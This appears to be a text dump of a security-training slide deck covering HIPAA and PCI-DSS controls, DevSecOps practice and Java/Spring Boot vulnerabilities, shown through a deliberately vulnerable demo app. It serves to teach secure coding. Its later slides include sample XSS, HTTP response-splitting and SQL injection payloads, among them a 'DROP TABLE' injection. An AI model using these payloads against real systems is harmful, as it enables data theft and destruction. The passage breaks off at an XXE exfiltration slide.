    Access Control: HIPAA requires that only authorized individuals should have access to electronic protected health information (e-PHI). It mandates unique user identification, emergency access procedure, automatic logoff, encryption, and decryption. For example, in a healthcare application, only authorized personnel (like a particular doctor or nurse) should have access to the medical records of the patients they are treating. This can be ensured through unique login credentials for each user. 2. Audit Control: HIPAA requires hardware, software, and/or procedural mechanisms that record and examine activity in information systems that contain or use e-PHI. For instance, an audit log in an electronic health record system might record when patient records are accessed, who accessed them, what changes were made, and when.
  194. @arafkarsh arafkarsh HIPAA Controls : Title II – 2/4 216

    3. Integrity Control: HIPAA states that e-PHI should not be improperly altered or destroyed. Electronic measures must be implemented to confirm that e-PHI has not been improperly altered or destroyed. For example, using checksums or hashes can help ensure that data hasn't been tampered with. Additionally, backup and disaster recovery procedures can help prevent data loss. 4. Transmission Security: e-PHI transmitted over a network must be protected against unauthorized access. It includes integrity controls and encryption that were deemed appropriate. For example, when transmitting e-PHI over the internet, SSL/TLS encryption could secure the data during transit.
  195. @arafkarsh arafkarsh HIPAA Controls : Title II – 3/4 217

    5. Person or Entity Authentication: HIPAA requires procedures to verify that a person or entity seeking access to e-PHI is the one claimed. For example, this could be done through strong passwords, two- factor authentication, or biometric identification methods. 6. Risk Analysis and Management: The HIPAA Security Rule requires covered entities to conduct a risk analysis to identify risks and vulnerabilities to e-PHI and to implement security measures to mitigate those identified risks. This might involve conducting regular security audits, vulnerability assessments, and penetration testing to identify potential vulnerabilities or compliance gaps.
  196. @arafkarsh arafkarsh HIPAA Controls: Titles II – 4/4 218 7.

    Training and Awareness: HIPAA requires regular training of all employees who handle PHI to ensure they understand the regulations and the importance of protecting health information. For example, staff might be trained on the correct handling of PHI, identifying phishing attempts, and the correct response to a suspected or confirmed data breach. 8. Incident Response and Reporting: In case of a security incident, HIPAA mandates the identification and response to suspected or known security incidents, mitigation to the extent practicable, and documentation of incidents and their outcomes. For instance, if a data breach occurs, it's essential to have a plan in place to identify and control the breach, assess the damage, notify affected individuals, and prevent future occurrences.
  197. @arafkarsh arafkarsh PCI-DSS Controls Payment Card Industry Data Security Standard

    The PCI-DSS standard is governed by the PCI Security Standards Council, which was founded by American Express, Discover Financial Services, JCB International, MasterCard, and Visa Inc. 219
  198. @arafkarsh arafkarsh PCI-DSS Controls – 1/3 220 1. Build and

    Maintain a Secure Network and Systems 1. Requirement 1: Install and maintain a firewall configuration to protect cardholder data. 2. Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters. 2. Protect Cardholder Data 1. Requirement 3: Protect stored cardholder data. 2. Requirement 4: Encrypt transmission of cardholder data across open, public networks.
  199. @arafkarsh arafkarsh PCI-DSS Controls – 2/3 221 3. Maintain a

    Vulnerability Management Program 1. Requirement 5: Protect all systems against malware and update antivirus software or programs regularly. 2. Requirement 6: Develop and maintain secure systems and applications. 4. Implement Strong Access Control Measures 1. Requirement 7: Restrict access to cardholder data by business need to know. 2. Requirement 8: Identify and authenticate access to system components. 3. Requirement 9: Restrict physical access to cardholder data.
  200. @arafkarsh arafkarsh PCI-DSS Controls – 3/3 222 5. Regularly Monitor

    and Test Networks 1. Requirement 10: Track and monitor all access to network resources and cardholder data. 2. Requirement 11: Regularly test security systems and processes. 6. Maintain an Information Security Policy 1. Requirement 12: Maintain a policy that addresses information security for all personnel.
  201. @arafkarsh arafkarsh DevSecOps 223 o DevOps (IEEE P2675) o DevSecOps

    Concepts o DevSecOps Pipeline o SAST vs DAST o Risk Management Framework o cATO o DevSecOps Playbook
  202. @arafkarsh arafkarsh DevOps (IEEE P2675) 224 DevOps is a set

    of principles and practices emphasizing collaboration & communication between Software Development Teams and IT Operations Staff along with acquires, suppliers, and other stakeholders in the lifecycle of a Software System. 5 o Collaboration: between all Stakeholders o Infrastructure as a Code: Assets are versioned, scripted, & shared o Automation: Deployment, Testing, Provisioning, any manual or human-error-prone process o Monitoring: Any metric in Development or Operation that can inform priorities, direction and policy. Source: IEEE P2675-2021 IEEE Standard for DevOps: Building Reliable and Secure Systems Including Application Build, Package, and Deployment: Standardising Change: IEEE P2675 DevOps Standard (Ruth G. Lennon) https://www.youtube.com/watch?v=a3E0u48lYyM Five Principles of DevOps 1. Mission First 2. Customer Focus 3. Left Shift 4. Continuous Everything 5. System Thinking ✓ Focuses on establishing effective Compliance and IT Controls
  203. @arafkarsh arafkarsh DevSecOps 225 DevSecOps is a culture and philosophy

    that must be practiced across the organization, realized through the unification of a set of Software development (Dev), Security (Sec) and Operations (Ops) personnel into a singular team. Source: Page 17. US DoD Enterprise DevSecOps 2.0 Fundamentals
  204. @arafkarsh arafkarsh DevSecOps Manifesto 226 Source: https://www.devsecops.org/ 1. Leaning in

    over Always Saying “No” 2. Data & Security Science over Fear, Uncertainty and Doubt 3. Open Contribution & Collaboration over Security-Only Requirements 4. Consumable Security Services with APIs over Mandated Security Controls & Paperwork 5. Business Driven Security Scores over Rubber Stamp Security 6. Red & Blue Team Exploit Testing over Relying on Scans & Theoretical Vulnerabilities 7. 24x7 Proactive Security Monitoring overreacting after being Informed of an Incident 8. Shared Threat Intelligence over Keeping Info to Ourselves 9. Compliance Operations over Clipboards & Checklists
  205. @arafkarsh arafkarsh DevSecOps 228 Recommended by US DoD DevSecOps Best

    Practices Source: Page 17 US DoD Enterprise DevSecOps Fundamentals
  206. @arafkarsh arafkarsh SAST vs DAST 230 Source: https://www.synopsys.com/blogs/software-security/sast-vs-dast-difference/ White box

    security testing The tester has access to the underlying framework, design, and implementation. The application is tested from the inside out. This type of testing represents the developer approach. Black box security testing The tester has no knowledge of the technologies or frameworks that the application is built on. The application is tested from the outside in. This type of testing represents the hacker approach. Requires source code SAST doesn’t require a deployed application. It analyses the sources code or binary without executing the application. Requires a running application DAST doesn’t require source code or binaries. It analyses by executing the application. Finds vulnerabilities earlier in the SDLC The scan can be executed as soon as code is deemed feature-complete. Finds vulnerabilities toward the end of the SDLC Vulnerabilities can be discovered after the development cycle is complete Can’t discover run-time and environment-related issues Since the tool scans static code, it can’t discover run-time vulnerabilities. Can discover run-time and environment-related issues Since the tool uses dynamic analysis on an application, it is able to find run-time vulnerabilities.
  207. @arafkarsh arafkarsh Risk Management Framework 231 NIST SP 800-37 Rev.2

    Source: NIST https://csrc.nist.gov/projects/risk-management/about-rmf : NIST 800-37 0. Prepare Essential activities to preparethe organization to manage security and privacy risks 1. CategorizeInformation System Categorize the system and information processed, stored, and transmitted based on an impact analysis. 2. Select Controls Select the set of NIST SP 800-53 controls to protect the system based on risk assessment(s) 3. Implement Controls Implement the controls and document how controls are deployed 4. AssessControls Assess to determine if the controls are in place, operating as intended, and producing the desired results 5. Authorize System Senior official makes a risk-based decision to authorizethe system (to operate) 6. Monitor Controls Continuouslymonitorcontrol implementation and risks to the system
  208. @arafkarsh arafkarsh 6 DevSecOps Playbook 233 1 Adopt a DevSecOps

    Culture 2 Adopt Infrastructure as Code 3 Adopt Containerized Microservices 4 Adopt a Capability Model, not a Maturity Model 5 Drive Continuous Improvement through Key Capabilities Establish a Software Factory 7 Define a meaningful DevSecOps pipeline 8 Adapt an Agile Acquisition Policy for Software 9 Tirelessly Pursue Cyber Resilience 10 Shift Left: Operational Test & Eval Source: US DoD DevSecOps Fundamentals Playbook
  209. @arafkarsh arafkarsh Adopt a DevSecOps Culture 234 1 Key Cultural

    Practices 1. Stakeholder transparency and visibility. 2. Complete transparency across team members in real- time. 3. All project resources easily accessible to the entire team; not everyone needs commit privileges. 4. Adopt and embrace ChatOps as the communication backbone for the DevSecOps team. 5. All technical staff should be concerned with, and have a say in, baked-in security. Source: US DoD DevSecOps Fundamentals Playbook. Page 4
  210. @arafkarsh arafkarsh Adopt Infrastructure as Code 235 2 Key Advantages

    1. IT infrastructure supports and enables change, rather than being an obstacle or a constraint. 2. Mitigates drift between environments by leveraging automation and push- button deployment. 3. Enforces change management through GitOps with multiple approvers, as needed. 4. Environmental changes are routine and fully automated, pivoting staff to focus on other tasks. 5. Quicker recovery from failures, rather than assuming failure can be completely prevented. 6. Empowers a continuous improvement ecosystem rather than “big bang” one and done activities. Source: US DoD DevSecOps Fundamentals Playbook. Page 5
  211. @arafkarsh arafkarsh Adopt Containerized Microservices 236 3 Source: US DoD

    DevSecOps Fundamentals Playbook. Page 6 Components via Services Organized around Business Capabilities Products NOT Projects Smart Endpoints & Dumb Pipes Decentralized Governance & Data Management Infrastructure Automation via IaC Design for Failure Evolutionary Design
  212. @arafkarsh arafkarsh Adopt a Capability Model, not a Maturity Model

    237 4 Source: US DoD DevSecOps Fundamentals Playbook. Page 7 Metric High Performers Medium Performers Low Performers Deployment frequency – How often the organization deploys code. On demand (multiple deploys per day) Between once per week and once per month Between once per week and once per month Change lead time – Time it takes to go from code commit to code successfully running in production. Less than one hour Between one week and one month Between one week and one month Mean time to recover (MTTR) – Time it takes to restore service when a service incident occurs (e.g., unplanned outage, service impairment). Less than one hour Less than one day Between one day and one week Change failure rate – Percentage of changes that results in either degraded service or requires remediation (e.g., leads to service impairment, service outage, requires a hotfix, rollback, patch, etc.) 0-15% 0-15% 31-45% Google’s DORA research program advocates that rather than use a maturity model, research shows that a capability model is a better way to both encourage and measure performance improvement
  213. @arafkarsh arafkarsh Drive Continuous Improvement through Key Capabilities 238 5

    Source: US DoD DevSecOps Fundamentals Playbook. Page 8 Architecture 1. Use Loosely Coupled Architecture 2. Architect for Empowered Teams Culture 1. Adopt a Likert scale survey to measure cultural change progress 2. Encourage and support continuous learning initiatives 3. Support and Facilitate Collaboration among and between teams 4. Provide resources and tools that make work meaningful 5. Support or Embody transformational leadership 24 There are 24 Key that drive improvements across both DevSecOps and the Organization 5 Classified into 5 Categories 1. Culture 2. Architecture 3. Product & Process 4. Continuous Delivery 5. Lean Management & Monitoring
  214. @arafkarsh arafkarsh Drive Continuous Improvement through Key Capabilities 239 5

    Continuous Delivery 1. Use a Source Code Repo for all production Artifacts 2. Use Trunk based development methods 3. Shift Left on Security 4. Implement Test Automation 5. Implement Continuous Integration 6. Support Test Data Management 7. Implement Continuous Delivery 8. Automate the Deployment Process Source: US DoD DevSecOps Fundamentals Playbook. Page 8 Product and Process 1. Gather and Implement Customer Feedback 2. Make the flow of work visible through the value stream 3. Work in small batches 4. Foster and enable team experimentation Lean Management & Monitoring 1. Have a lightweight change approval process 2. Monitor across applications & infrastructure too inform business decisions 3. Check System Health periodically 4. Improve Processes and Manage work with WIP 5. Visualize work to Monitor quality and communicate throughout
  215. @arafkarsh arafkarsh Establish a Software Factory 240 6 Source: US

    DoD DevSecOps Fundamentals Playbook. Page 9 • Define CI/CD Processes and Tasks • Select Tools • Operate & Maintain the Software Factory • Monitor the Tools and Processes • Gather Feedback for Improvement • Build the Software Factory • Automate the Workflows • Verify the Tool Integrations • Test the Pipeline Workflows
  216. @arafkarsh arafkarsh Define a meaningful DevSecOps pipeline 241 7 Source:

    US DoD DevSecOps Fundamentals Playbook. Page 10
  217. @arafkarsh arafkarsh Adapt an Agile Acquisition Policy for Software 242

    8 • Establishes the Software Acquisition Pathway as the preferred path for acquisition and development of software-intensive systems. • Simplifies the acquisition model to enable continuous integration and delivery of software capability on timelines relevant to the warfighter / end user. • Establishes business decision artifacts to manage risk and enable successful software acquisition and development. Source: US DoD DevSecOps Fundamentals Playbook. Page 11
  218. @arafkarsh arafkarsh Tirelessly Pursue Cyber Resilience 243 9 • Cyber

    Resilience is “the ability to anticipate, withstand, recover from, and adapt to adverse conditions, stresses, attacks, or compromises on the systems that include cyber resources.” • Cybersecurity touches each of the eight phases of the DevSecOps lifecycle, and the various control gates serve as Go/No-Go decision points. • Al pipelines must use these control gates to ensure that cybersecurity is both “baked in” and transparently identified • Moving to DevSecOps includes moving towards a Continuous Authorization to Operate (cATO) for an application developed using DevSecOps processes, including a software factory with a CI/CD pipeline. Source: US DoD DevSecOps Fundamentals Playbook. Page 12
  219. @arafkarsh arafkarsh Shift Left: Operational Test & Eval 244 10

    Common Testing Categories 1. Unit and Functional Testing. 2. Integration Testing. 3. Performance Testing. 4. Interoperability Testing. 5. Deployment Testing (normally conducted in a staging environment). 6. Operational Testing (normally conducted in a production environment). 7. Static Application Security Testing (SAST). 8. Dynamic Application Security Testing (DAST). 9. Interactive Application Security testing (IAST). 10. Runtime Application Self-Protection (RASP). Source: US DoD DevSecOps Fundamentals Playbook. Page 13
  220. @arafkarsh arafkarsh 5 Code Setup o SpringBoot 2.7.2 o Java

    8 for Compile and Java 17 to run o H2 DB or PostgreSQL database 245
  221. @arafkarsh arafkarsh How to Test the Vulnerabilities 249 By default,

    all the vulnerabilities are disabled, and those APIs will give the following Security Exceptions. “Vulnerability API Demos are DISABLED! Please Check the Configuration.” Change the following properties in the application properties file. server.vulnerability.demos. allowed=false
  222. @arafkarsh arafkarsh 5 Java Code Vulnerabilities o Cross-Site Scripting Vulnerability

    (XSS) o Input Validation and XSS o Buffer Overflow Exploit o Directory Traversal Exploit 250 Source: https://github.com/arafkarsh/ms-springboot-272-vanilla o Command / Shell Injection Exploit o Vulnerable and Outdated Components o HTTP Response Split Vulnerability
  223. @arafkarsh arafkarsh 1. Cross-Site Scripting (XSS) 251 Cross-Site Scripting (XSS)

    attacks occur • when an attacker uses a web application to send the malicious script, • Generally in the form of a browser-side script to a different end user. • The end user’s browser cannot know that the script should not be trusted • and will execute the script. • XSS attacks can lead to various problems, including stolen session tokens or login credentials, defacement of websites, or malicious redirection. For example, if a website echoes back whatever is passed in the URL as a parameter without sanitizing it, an attacker might pass in something like http://www.example.com/?q=<script>/*malicious code*/</script>, leading to the script being executed on the victim's browser. Countermeasures include validating and sanitizing input, encoding output, and using Content Security Policy (CSP) headers to prevent scripts from loading from unauthorized sources.
  224. @arafkarsh arafkarsh Types of XSS 258 Stored XSS Stored XSS,

    also known as persistent XSS, occurs when malicious input provided by an attacker is stored on the target server, such as in a database, message forum, comment field, etc. The malicious content is then permanently part of the target server's content, and the stored code is executed every time a user requests the stored information. Example: An attacker submits a comment on a blog with a script. Every time a user views that comment, the script runs. Reflected XSS Reflected XSS occurs when an attacker injects malicious input into a URL, which is then reflected off a web application onto a user's browser. This malicious content is part of the response sent by the server but is not stored on the server itself. The victim must visit the manipulated URL for the script to be executed. Example: An attacker sends a link with a malicious script embedded in the URL parameters. The unsuspecting victim clicks on the link, and the server reflects the script back to the user's browser, where it is executed.
  225. @arafkarsh arafkarsh Types of XSS 259 DOM-based XSS DOM-based XSS

    is a form of XSS where the entire tainted data flow from source to sink occurs in the browser, i.e., within the Document Object Model (DOM). Unlike reflected and stored XSS, where the server's response includes the attack payload, a DOM-based XSS attack is entirely contained within the client's browser. Example: A web page reads a URL fragment (after '#') and writes it to the page without proper sanitization. An attacker can craft a URL with a script in this fragment, and when a victim navigates to it, the script is executed within the browser. Content XSS Content XSS is not a widely recognized or standardized category of XSS, and its definition can vary depending on context. It might refer to an attack where malicious content (such as misleading text or links) is inserted into a web page without necessarily including executable script code. In some contexts, Content XSS might be an umbrella term or misnomer encompassing one or more XSS types listed here. These different types of XSS demonstrate the variety of ways in which attackers can exploit users’ trust in a particular website. The defenses against XSS typically involve proper input validation, sanitization, and escaping, along with security mechanisms like Content Security Policy (CSP).
  226. @arafkarsh arafkarsh 2. Input Validation and XSS 260 Input validation

    is critical to prevent various kinds of attacks, including XSS. It involves ensuring that the input the user provides meets specific criteria, such as length, type, and format, before processing it. For example, an application might • restrict the length of a user's name to 50 characters, • disallow special characters, and • require that the email address is in a valid format. Any input must meet these criteria to be accepted.
  227. @arafkarsh arafkarsh 2. Vulnerable Code: DTO 261 No Input Validation

    for any of the fields apart from Null Check. For Example, 1. Customer ID should have a max length and validate the data. 2. Product ID should have max length and validate the data. 3. The product Name should have min and max length and validate the data.
  228. @arafkarsh arafkarsh 2. Vulnerable Code: Entity 262 No Input Validation

    for any of the fields apart from Null Check. For Example, 1. Customer ID should have a max length and validate the data. 2. Product ID should have max length and validate the data. 3. The product Name should have min and max length and validate the data.
  229. @arafkarsh arafkarsh 3. Buffer Overflow Exploit 265 Buffer overflow vulnerabilities

    typically manifest in languages like C or C++, where memory management is manual and the language does not enforce bounds checking. Java, the language that Spring Boot is based on, has built-in bounds checking for array and buffer accesses, making classic buffer overflow exploits extremely rare. In the web application context, we can still discuss improper handling of significant inputs or unexpected data sizes that may lead to resource exhaustion, unresponsive systems, or other unforeseen behavior. It’s not precisely a buffer overflow in the traditional sense, but managing the size and content of data is still a critical aspect of secure programming.
  230. @arafkarsh arafkarsh 3. Vulnerable Code: Cart Model 266 No Input

    Validation for any of the fields apart from Null Check. For Example, 1. Customer ID should have a max length. 2. Product ID should have max length. 3. The product Name should have min and max. 4. Price is Nullable 5. Quantity is Nullable
  231. @arafkarsh arafkarsh 3. Bounds Check in Java 268 1. Array

    Indexing: In languages like C and C++, if you try to access or modify an element at an index outside the bounds of an array, the behavior is undefined, and it might lead to overwriting adjacent memory. In contrast, Java automatically checks if the index is within the array's bounds. If it's not, a java.lang.ArrayIndexOutOfBoundsException is thrown. Example: int[] intArray = new int[10]; intArray[10] = 5; // Throws ArrayIndexOutOfBoundsException 2. Buffer Classes: Java’s Buffer classes, like ByteBuffer, also include bounds checking. If you attempt to read or write to a position outside the buffer's limits, a BufferUnderflowException or BufferOverflowException will be thrown, respectively. 3. String Manipulation: Even when dealing with strings and their manipulation, Java maintains the boundaries. Trying to access a character at an index outside the length of the string will result in a StringIndexOutOfBoundsException.
  232. @arafkarsh arafkarsh 4. Directory Traversal Exploit 269 Directory traversal attacks

    involve exploiting: • Insufficient security validation/sanitization of user-supplied input file names • so that characters representing "traverse to parent directory" are passed through to the file APIs. • This could allow the attacker to read or write files outside the intended directory. Countermeasures involve validating and sanitizing input, implementing secure error handling, and adhering to the principle of least privilege.
  233. @arafkarsh arafkarsh 5. Command / Shell Injection Exploit 272 Command

    Injection Vulnerability, Shell Injection, or OS Command Injection, is an injection vulnerability where an attacker can execute arbitrary commands on the host operating system through a vulnerable application. This kind of vulnerability arises when input provided by the user is improperly sanitized before being passed to a system command.
  234. @arafkarsh arafkarsh 5. Command / Shell Injection: How it works

    273 1. User Input in System Command: Applications sometimes need to run system commands. If any part of the command depends on user input, and if that input is not correctly validated, an attacker may be able to manipulate the command. 2. Attacker Control: By adding special characters, such as semicolons, ampersands, and others that have special meaning in shell commands, an attacker can append additional commands to be executed. 3. Result: The attacker’s commands are executed with the same privileges as the vulnerable application. Depending on the application’s permissions, this could lead to various malicious activities.
  235. @arafkarsh arafkarsh 5. Code Fix: Use Process Builder 275 This

    secure version uses ProcessBuilder, passing the filename parameter as an argument, which avoids the risk of command injection. Even if the filename contains shell metacharacters, the shell won’t interpret them, preventing Command / Shell injection.
  236. @arafkarsh arafkarsh 6. Vulnerable and Outdated Components 276 CVE-2016-1000027 Pivotal

    Spring Framework through 5.3.16 suffers from a potential remote code execution (RCE) issue if used for Java deserialization of untrusted data. Depending on how the library is implemented within a product, this issue may or not occur, and authentication may be required. NOTE: the vendor believes untrusted data is not an intended use case. The product’s behavior will remain unchanged because some users rely on deserializing trusted data. Source: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1000027 Source: https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web/2.7.2
  237. @arafkarsh arafkarsh 6. Code Fix: Update Component Version 277 Source:

  238. @arafkarsh arafkarsh 7. Http Response Splitting Vulnerability 278 HTTP Response

    Splitting is an attack that takes advantage of how HTTP headers are processed. By injecting newline characters into HTTP header values, an attacker can create additional HTTP headers and even wholly separate HTTP responses, thereby manipulating the HTTP process on the client side. Example: Imagine a healthcare app with a patient’s name in a response header. An attacker might manipulate the response by injecting malicious characters into the patient's name.
  239. @arafkarsh arafkarsh 7. Attackers Approach 279 Imagine there's a form

    on the healthcare app where a patient can update their profile information, including their name. The attacker alters their patient name to include newline characters and HTTP header content. For example, instead of simply entering "John Smith" as the patient's name, they enter: John\r\nContent-Length: 0\r\n\r\n<script>alert('Hacked!');</script> HTTP/1.1 200 OK Set-Cookie: patient=John Content-Length: 0 <script>alert('Hacked!');</script> Other-Headers: other-values How the Attack Works with the Vulnerable Code When this input is sent to the server, and if the server doesn't properly validate or escape the input, the server might process this as part of the HTTP response, adding an additional header and HTML content to the HTTP response. The server's response could end up looking like this: This means that when the response is rendered in the user's browser, the JavaScript code will execute, potentially leading to further exploits, such as stealing the user's cookies or performing actions on behalf of the user.
  240. @arafkarsh arafkarsh 7. Understanding Cookie paramters 283 1. HttpOnly: This

    attribute ensures that the cookie is not accessible via JavaScript. It significantly reduces the risk of a stolen cookie through cross-site scripting (XSS) attacks. 2. Secure: Ensures the cookie is sent only over HTTPS, not unencrypted HTTP. This attribute is crucial to avoid man-in-the-middle attacks where an attacker might intercept or alter your HTTP requests/responses. 3. Max-Age: This attribute specifies the lifetime of the cookie in seconds. After this duration, the cookie will be deleted. This ensures that a potential attacker has only a limited time window to exploit a stolen cookie. 4. Path: Specify the URL path in the requested URL to send the Cookie header. Limiting the path reduces the places where the cookie can be sent, providing more control.
  241. @arafkarsh arafkarsh 7. Understanding Cookie paramters 284 5. SameSite: This

    attribute mitigates cross-site request forgery (CSRF) attacks. There are three possible values: 1. Strict: The browser sends the cookie back to the server only when requests are made to the same site that set the cookie and not for cross-site requests. 2. Lax: The browser does not send cookies for cross-site subrequests (like loading images or frames). However, the cookie will be sent back to the server if the user navigates directly to the site that set the cookie (from an external link, for example). 3. None: The browser will send the cookie back to the server in all contexts, including both first-party and third-party requests.
  242. @arafkarsh arafkarsh 7. Understanding Same-Site Param 285 1. Strict: •

    Description: The cookie will only be sent in first-party contexts. This means that the cookie will only be included in requests if made to the same site that set the cookie. • Example: • If you visit https://example.com and that site sets a cookie with SameSite=Strict, that cookie will only be sent with requests that go to https://example.com. • If another site, say https://another-site.com, tries to load a resource from https://example.com, the cookie will not be included in the request.
  243. @arafkarsh arafkarsh 7. Understanding Same-Site Param 286 2. Lax: •

    Description: The cookie is withheld on cross-site subrequests (like loading images or frames into a third-party site), but is sent when a user navigates to the URL from an external site, such as by following a link. • Example: Imagine you have an account on a social media site, https://social.com, which sets a cookie with SameSite=Lax. • If you visit another site, https://news.com, which has an embedded widget from https://social.com, the cookie will NOT be sent with the request to load that widget. However, if you follow a link on https://news.com that leads directly to https://social.com, the cookie will be sent with that request.
  244. @arafkarsh arafkarsh 7. Understanding Same-Site Param 287 3. None: •

    Description: The cookie will be sent in all contexts i.e. with first-party and third-party requests. • Example: Let's use https://example.com again. • If it sets a cookie with SameSite=None, it will be sent regardless of where the request comes from. So, if https://another-site.com requests https://example.com, the cookie will be included. This behavior is how cookies worked traditionally before the SameSite attribute was introduced. • Note: When using SameSite=None, you must also set the Secure attribute on the cookie to ensure it's only sent over HTTPS connections.
  245. @arafkarsh arafkarsh 6 Java Code Vulnerabilities o Parameter Manipulation Vulnerability

    o SQL Injection Vulnerability o XML Injection / XML Entity o XPath Injection 288 o Cross-Site Request Forgery (CSRF) o Server-Side Request Forgery (SSRF) o Spring Security
  246. @arafkarsh arafkarsh 8. Parameter Manipulation Vulnerability 289 Parameter Manipulation is

    an attack where an attacker alters parameters sent between the client and the server to gain unauthorized access to data or perform actions they aren't permitted to perform. Example: Consider a healthcare app where patients can view their medical records. An attacker might alter the patient ID parameter to access someone else's records.
  247. @arafkarsh arafkarsh 9. SQL Injection Vulnerability 292 SQL Injection is

    one of the most common and dangerous web application vulnerabilities. It occurs when an attacker can inject arbitrary SQL code into a query, which is then executed by the database. This can lead to various malicious outcomes, including unauthorized viewing of data, corrupting or deleting data, and in some cases, even complete control over the host machine. Example: In the context of healthcare, this vulnerability is severe. Medical records are highly sensitive, and unauthorized access could lead to identity theft, fraud, or harm. Additionally, healthcare organizations are bound by regulations such as HIPAA in the U.S., which mandates strict controls over the confidentiality, integrity, and availability of health information. A breach through SQL Injection could lead to significant legal penalties, reputational damage, and loss of trust among patients and partners. Therefore, employing proper security measures is not just a technical issue but a legal and ethical imperative.
  248. @arafkarsh arafkarsh 9. How it works 293 1. How it

    Happens: SQL Injection typically occurs when user input is improperly sanitized and then used in a SQL query. By crafting the input in a specific way, an attacker can manipulate the query's structure, often breaking out of the intended context and executing arbitrary SQL statements. 2. Types of SQL Injection: 1. In-Band SQL Injection: Data is extracted using the same communication channel that is used to inject the SQL code. 2. Out-of-Band SQL Injection: Data is retrieved using a different communication channel. 3. Blind SQL Injection: No data is transferred, and the attacker determines if the hypothesis is true based on the application's response.
  249. @arafkarsh arafkarsh 9. Blind SQL Injection 294 1. Boolean-Based Blind

    SQL Injection In this type of injection, the attacker sends a SQL query to the database, forcing the application to return a different result depending on whether the query returns true or false. An attacker might input a string like "1' OR '1'='1", forcing the query always to return true. 2. Time-Based Blind SQL Injection In this attack, the attacker determines if the hypothesis is true based on how long the application takes to respond. The SQL statement forces the database to wait for a specified time before responding. An attacker could use a payload like "admin' OR IF(1=1, SLEEP(5), 0)--". If the condition is true, the database will wait for 5 seconds before responding.
  250. @arafkarsh arafkarsh 9. Counter Measures 295 1. Prepared Statements: By

    using prepared statements with parameterized queries, you can ensure that user input is always treated as data and not executable code. 2. Stored Procedures: Similar to prepared statements, stored procedures separate SQL code from user input. 3. Input Validation: Implement strict validation on user input to reject any suspicious or unexpected input. 4. Least Privilege Principle: Limit the permissions of the database user account to minimize potential damage. 5. Error Handling: Customize error messages to prevent leaking information about the database structure, which could aid an attacker.
  251. @arafkarsh arafkarsh 9. SQL Out-of-Band Injection 298 Exploiting via Database

    Notification Functionality Imagine an application that uses a query to send email notifications based on user input: Exploit jane.doe'; DROP TABLE ms_schema.critical_table_tx; --
  252. @arafkarsh arafkarsh 9. Vulnerable Code: Blind SQL Injection 300 Exploit:

    jane.doe' OR '1'='1 http://localhost:9089/ms-vanilla/api/v1/security/vulnerable/cart/sql/customer/ jane.doe%27%20OR%20%271%27%3D%271 Boolean-Based SQL Injection
  253. @arafkarsh arafkarsh 9. Spring: Enabling Strict Firewall 302 Features of

    the StrictHttpFirewall: 1. Blocked HTTP Methods: By default, it allows only GET, POST, HEAD, OPTIONS, and TRACE methods, blocking others like PUT, DELETE, etc. This is to ensure that only typical browser methods are allowed. 2. URL Decoding: StrictHttpFirewall prevents multiple URL decoding attempts, which can be an attack vector. 3. URL ; (semicolon) blocking: By default, it will block URLs that contain a semicolon. This defends against attacks like request parameter pollution. 4. URL // (double slash) blocking: Prevents URLs with double slashes. 5. URL Backslash \ blocking: By default, backslashes are blocked. 6. URL % (percent) blocking: It can be configured to block URLs with URL-encoded values.
  254. @arafkarsh arafkarsh 9. Spring: Web Security 304 Web Security is

    a crucial element that provides security configuration at the web application level, enabling you to apply security to specific URL patterns, HTTP verbs, etc. The Web Security Configurer Adapter class allows developers to conveniently provide custom web security configurations.
  255. @arafkarsh arafkarsh 10. XXE – XML Entity Injection Vulnerability 305

    XML Injection, also known as XML Entity Injection, is an attack technique used to manipulate or compromise the logic of an XML application or service. The attacker injects malicious content into XML data, which can result in the disclosure of confidential data, denial of service, port scanning from the perspective of the machine where the parser is located, and other system impacts. 1. XML Injection can cause the XML parser to access unintended data or execute remote commands. 2. XML Injection can lead to the disclosure of confidential data, denial of service, server-side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. 3. XML Injection can bypass authentication or authorization functions or act as a stepping-stone toward other attacks. 4. XML Injection can be used to modify SOAP message routing and message content and/or alter intended service behavior. 5. XML Injection can access local or remote files and services through XML messages. 6. XML Injection can be used to execute remote commands.
  256. @arafkarsh arafkarsh 10. XXE – XML Injection: How it works

    306 1. Entity Declaration: XML supports the declaration of entities. An entity can be used to represent specific data within the XML document. 2. Entity Expansion: Once declared, these entities can be used elsewhere in the XML document by referencing their names. If the XML parser is configured to expand these entities, the entity's value will replace its reference in the document. 3. External Entities: One hazardous feature of XML entities is that they can be defined to fetch remote content. This allows an attacker to specify an external domain or resource from which the XML parser will fetch data.
  257. @arafkarsh arafkarsh 10. XML Injection: Common Impacts 307 1. Disclosure

    of Confidential Data: By using external entities, an attacker can make the XML parser fetch content from within the internal network of the application, potentially disclosing sensitive information. 2. Denial of Service (DoS): This can be achieved using the "Billion Laughs Attack." The attacker defines an entity that refers to itself multiple times, causing exponential growth of the processed XML and consuming system resources to the point of system failure. 3. Server-Side Request Forgery (SSRF): Attackers can use external entities to force the XML parser to request internal resources, potentially leading to the disclosure of internal content or even remote command execution in specific vulnerable systems. 4. Port scanning: From the server’s perspective, the attacker can craft unique XML payloads to discover and probe internal ports. 5. Potential Remote Code Execution: In some vulnerable systems, it might be possible to execute arbitrary code by exploiting misconfigurations or utilizing certain features.
  258. @arafkarsh arafkarsh 10. XML Injection: Counter Measures 308 1. Disable

    External Entities: Most XML parsers allow external entities to be disabled. This should be the default setting unless there's a specific need. 2. Use Less Complex Data Formats: Opt for simpler data formats like JSON whenever possible. However, remember that JSON parsers can have their vulnerabilities (although not entity- related). 3. Update and Patch: Keep XML libraries and parsers updated. Vulnerabilities are always discovered in software libraries; keeping them updated ensures you’re protected against known issues. 4. Input Validation: Use whitelisting instead of blacklisting to ensure that only expected and safe content is processed. 5. Use Sandboxing: If XML parsing is needed and can't be avoided, run the parsing process in a sandboxed environment to reduce the potential harm of an exploit. 6. Limit Resources: Limit the resources (CPU, RAM) that an XML parser can use to protect against DoS attacks. 7. Web Application Firewalls (WAFs): Employ a WAF to detect and block XML injection attempts
  259. @arafkarsh arafkarsh 10. XML Injection: Regular Data 309 <?xml version="1.0"

    encoding="UTF-8"?> <person> <name>John Doe</name> <age>35</age> <address> <street>329 Cobblestone Ln</street> <city>Edison</city> <state>NJ</state> <zipcode>08440</zipcode> <country>US</country> </address> </person>
  260. @arafkarsh arafkarsh 10. XXE Exploit: Data Exfiltration 310 <?xml version="1.0"

